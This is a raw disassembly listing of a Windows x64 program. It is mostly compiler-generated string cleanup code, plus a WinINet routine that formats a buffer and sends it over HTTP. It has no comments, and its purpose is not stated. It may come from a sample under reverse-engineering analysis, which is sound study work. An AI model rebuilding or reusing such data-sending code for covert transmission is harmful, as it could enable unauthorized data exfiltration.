mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x1400065aa
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006847
call fcn.14001dfb0
xor eax, eax
mov qword [rbp + 0x58], rax
mov qword [rbp + 0x60], 0xf
mov byte [rbp + 0x48], al
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x1400065fd
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000689b
call fcn.14001dfb0
nop
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x140006642
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000663c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000663c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001dfb0
nop
mov rbx, qword [rsp + 0x58]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140006681
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000667c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006788
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], 0xf
mov byte [rbx], al
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x1400066cd
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x1400066c6
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000678f
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rcx, qword [rsp + 0x68]
call fcn.140003be0
nop
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x14000671f
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x14000671a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006796
mov rcx, r8
call fcn.14001dfb0
xor esi, esi
mov qword [r12 + 0x10], rsi
mov qword [r12 + 0x18], 0xf
mov byte [r12], sil
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x140006769
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x140006764
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000679d
mov rcx, r8
call fcn.14001dfb0
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rcx, qword [rsp + 0x70]
call fcn.140003be0
jmp 0x14000619e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov edx, 0x3e8
mov rcx, qword [rbp - 0x20]
call qword [0x140028838]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14001dfb0
nop
lea rcx, [rbp + 0xc8]
call fcn.140003b60
nop
mov r8, qword [rbp + 0x80]
cmp r8, 0xf
jbe 0x140006801
mov rdx, qword [rbp + 0x68]
call fcn.140003c80
xor ebx, ebx
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], 0xf
mov byte [rbp + 0x68], bl
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x140006853
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000684e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000684e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001dfb0
mov qword [rbp + 0x58], rbx
mov qword [rbp + 0x60], 0xf
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x1400068a7
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400068a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400068a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001dfb0
mov rbx, qword [rsp + 0x58]
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor edx, edx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdx
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x140006e77
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006e71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006e71
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x14000692c
mov rdx, qword [r15]
mov r8, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x140006939
mov r8, qword [r14]
mov r9, r13
cmp qword [r13 + 0x18], 0xf
jbe 0x140006947
mov r9, qword [r13]
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov eax, dword [rbp - 0x78]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x78]
call qword [0x140028820]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x140006c9a
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x1400069f7
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400069f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006e0d
call fcn.14001dfb0
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140006a31
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x140006a2c
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e14
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov byte [rbx], al
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rax
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x140006a7d
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rsi]
jb 0x140006a76
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e1b
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov byte [rsi], 0
mov qword [rsi + 0x18], 0xf
mov qword [rsi + 0x10], rax
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140006acb
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x140006ac6
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e22
mov rcx, r8
call fcn.14001dfb0
xor esi, esi
mov byte [rbx], sil
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rsi
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x140006b18
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r12]
jb 0x140006b13
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e29
mov rcx, r8
call fcn.14001dfb0
mov byte [r12], 0
mov qword [r12 + 0x18], 0xf
mov qword [r12 + 0x10], rsi
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x140006b65
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r14]
jb 0x140006b60
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e30
mov rcx, r8
call fcn.14001dfb0
mov byte [r14], 0
mov qword [r14 + 0x18], 0xf
mov qword [r14 + 0x10], rsi
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140006bb4
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x140006baf
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e37
mov rcx, r8
call fcn.14001dfb0
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rsi
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x140006bfd
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r15]
jb 0x140006bf8
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e3e
mov rcx, r8
call fcn.14001dfb0
mov byte [r15], 0
mov qword [r15 + 0x18], 0xf
mov qword [r15 + 0x10], rsi
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x140006c48
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r13]
jb 0x140006c43
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e45
mov rcx, r8
call fcn.14001dfb0
mov qword [r13 + 0x10], rsi
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140005ae0
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140005adb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x140005ad8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 0x3e80
call fcn.14001e2bc
mov qword [rsp + 0x60], rax
xor edx, edx
mov r8d, 0x3e80
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x160], rax
mov word [rbp + 0x168], ax
mov dword [rbp + 0x160], 0x64696565
mov byte [rbp + 0x164], al
mov rax, qword [rsp + 0x68]
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140006ceb
mov rcx, qword [rax]
mov r9, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x140006cf8
mov r9, qword [rsi]
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x160]
lea rdx, str._suep____s____s
mov rcx, qword [rsp + 0x60]
call fcn.1400010e0
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140006d27
mov rdx, qword [rdi]
mov r10, rdx
jmp 0x140006d2a
mov r10, rdi
mov r8, 0xffffffffffffffff
mov rax, r8
mov rcx, qword [rsp + 0x60]
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140006d40
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140006d50
mov dword [rsp + 0x20], eax
mov r9, rcx
mov rdx, r10
mov rcx, qword [rsp + 0x58]
call qword [0x140028830]
test eax, eax
jne 0x140006e4c
mov rcx, qword [rsp + 0x60]
call fcn.14001dfb0
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x1400069f7
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400069f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400069f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400068ac
call fcn.14001dfb0
nop
jmp 0x140005844
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400012e0
int3
call fcn.140001240
int3